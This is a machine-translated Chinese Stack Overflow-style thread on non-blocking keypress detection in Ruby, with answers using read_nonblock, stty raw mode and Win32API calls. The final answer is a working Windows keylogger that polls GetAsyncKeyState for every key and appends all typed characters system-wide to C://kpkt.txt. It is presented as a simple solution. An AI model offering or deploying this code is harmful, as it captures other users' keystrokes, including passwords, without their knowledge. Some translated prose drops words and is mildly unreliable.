在Ruby中检测没有getc / get的按键(非阻塞)

我有一个简单的任务,需要等待文件系统上的某些东西改变(它本质上是原型的编译器)。 因此,在检查更改的文件后,我有一个简单的无限循环,睡眠时间为5秒。

loop do # if files changed # process files # and puts result sleep 5 end 

而不是Ctrl+C致敬,我宁愿能够测试并查看是否按下了一个键,而没有阻止循环。 基本上我只需要一种方法来判断是否有传入的按键,然后一种方法来获取它们直到满足Q,然后退出程序。

我想要的是:

 def wait_for_Q key_is_pressed && get_ch == 'Q' end loop do # if files changed # process files # and puts result wait_for_Q or sleep 5 end 

或者,这是Ruby不做的事情(好)?

这是使用IO#read_nonblock执行此操作的一种方法:

 def quit? begin # See if a 'Q' has been typed yet while c = STDIN.read_nonblock(1) puts "I found a #{c}" return true if c == 'Q' end # No 'Q' found false rescue Errno::EINTR puts "Well, your device seems a little slow..." false rescue Errno::EAGAIN # nothing was ready to be read puts "Nothing to be read..." false rescue EOFError # quit on the end of the input stream # (user hit CTRL-D) puts "Who hit CTRL-D, really?" true end end loop do puts "I'm a loop!" puts "Checking to see if I should quit..." break if quit? puts "Nope, let's take a nap" sleep 5 puts "Onto the next iteration!" end puts "Oh, I quit." 

请记住,即使这使用非阻塞IO,它仍然是缓冲 IO。 这意味着您的用户必须按Q然后 。 如果你想做无缓冲的IO,我建议你查看ruby的curses库。

你也可以在没有缓冲区的情况下这样做。 在基于unix的系统中,它很容易:

 system("stty raw -echo") #=> Raw mode, no echo char = STDIN.getc system("stty -raw echo") #=> Reset terminal mode puts char 

这将等待按下一个键并返回char代码。 无需按。

char = STDIN.getc放到一个循环中就可以了!

如果你在Windows上,根据The Ruby Way,你需要在C中编写扩展或使用这个小技巧(尽管这是在2001年编写的,所以可能有更好的方法)

 require 'Win32API' char = Win32API.new('crtdll','_getch', [], 'L').Call 

这是我的参考: 好书,如果你不拥有它,你应该

其他答案的组合获得所需的行为。 在OSX和Linux上测试ruby 1.9.3。

 loop do puts 'foo' system("stty raw -echo") char = STDIN.read_nonblock(1) rescue nil system("stty -raw echo") break if /q/i =~ char sleep(2) end 

通过结合我刚刚阅读的各种解决方案,我提出了一种解决该问题的跨平台方法。 这里是详细信息 ,但这里是相关的代码段:返回ASCII代码的GetKey.getkey方法,如果没有按下则返回nil

应该在Windows和Unix上都可以使用。

 module GetKey # Check if Win32API is accessible or not @use_stty = begin require 'Win32API' false rescue LoadError # Use Unix way true end # Return the ASCII code last key pressed, or nil if none # # Return:: # * _Integer_: ASCII code of the last key pressed, or nil if none def self.getkey if @use_stty system('stty raw -echo') # => Raw mode, no echo char = (STDIN.read_nonblock(1).ord rescue nil) system('stty -raw echo') # => Reset terminal mode return char else return Win32API.new('crtdll', '_kbhit', [ ], 'I').Call.zero? ? nil : Win32API.new('crtdll', '_getch', [ ], 'L').Call end end end 

这是一个简单的程序来测试它:

 loop do k = GetKey.getkey puts "Key pressed: #{k.inspect}" sleep 1 end 

在上面提供的链接中,我还展示了如何使用curses库,但结果在Windows上有点令人讨厌。

您可能还想调查Ruby的’io / wait’库,它提供了ready? 所有IO对象的方法。 我没有具体测试你的情况,但我正在使用它在我正在研究的基于套接字的库中。 在你的情况下,如果STDIN只是一个标准的IO对象,你可能已经ready? 返回非零结果,除非您有兴趣找出实际按下的键。 这个function可以通过require 'io/wait' ,它是Ruby标准库的一部分。 我不确定它是否适用于所有环境,但值得一试。 Rdocs: http: //ruby-doc.org/stdlib/libdoc/io/wait/rdoc/

现在用这个

 require 'Win32API' VK_SHIFT = 0x10 VK_ESC = 0x1B def check_shifts() $listener.call(VK_SHIFT) != 0 ? true : false end # create empty Hash of key codes keys = Hash.new # create empty Hash for shift characters uppercase = Hash.new # add letters (0x41..0x5A).each { |code| keys[code.chr.downcase] = code } # add numbers (0x30..0x39).each { |code| keys[code-0x30] = code } # add special characters keys[';'] = 0xBA; keys['='] = 0xBB; keys[','] = 0xBC; keys['-'] = 0xBD; keys['.'] = 0xBE keys['/'] = 0xBF; keys['`'] = 0xC0; keys['['] = 0xDB; keys[']'] = 0xDD; keys["'"] = 0xDE keys['\\'] = 0xDC # add custom key macros keys["\n"] = 0x0D; keys["\t"] = 0x09; keys['(backspace)'] = 0x08; keys['(CAPSLOCK)'] = 0x14 # add for uppercase letters ('a'..'z').each { |char| uppercase[char] = char.upcase } # add for uppercase numbers uppercase[1] = '!'; uppercase[2] = '@'; uppercase[3] = '#'; uppercase[4] = '$'; uppercase[5] = '%' uppercase[6] = '^'; uppercase[7] = '&'; uppercase[8] = '*'; uppercase[9] = '('; uppercase[0] = ')' # add for uppercase special characters uppercase[';'] = ':'; uppercase['='] = '+'; uppercase[','] = '<'; uppercase['-'] = '_'; uppercase['.'] = '>' uppercase['/'] = '?'; uppercase['`'] = '~'; uppercase['['] = '{'; uppercase[']'] = '}'; uppercase["'"] = '"' uppercase['\\'] = '|' # create a listener for Windows key-presses $listener = Win32API.new('user32', 'GetAsyncKeyState', ['i'], 'i') # call listener once to initialize lsb's keys.each_value { |code| $listener.call(code) } logs = File.open('C://kpkt.txt', 'a') while true break if $listener.call(VK_ESC) != 0 keys.each do |char, code| n = $listener.call(code) if n and n & 0x01 == 1 check_shifts() ? logs.write("#{uppercase[char]}") : logs.write("#{char}") end end end logs.close()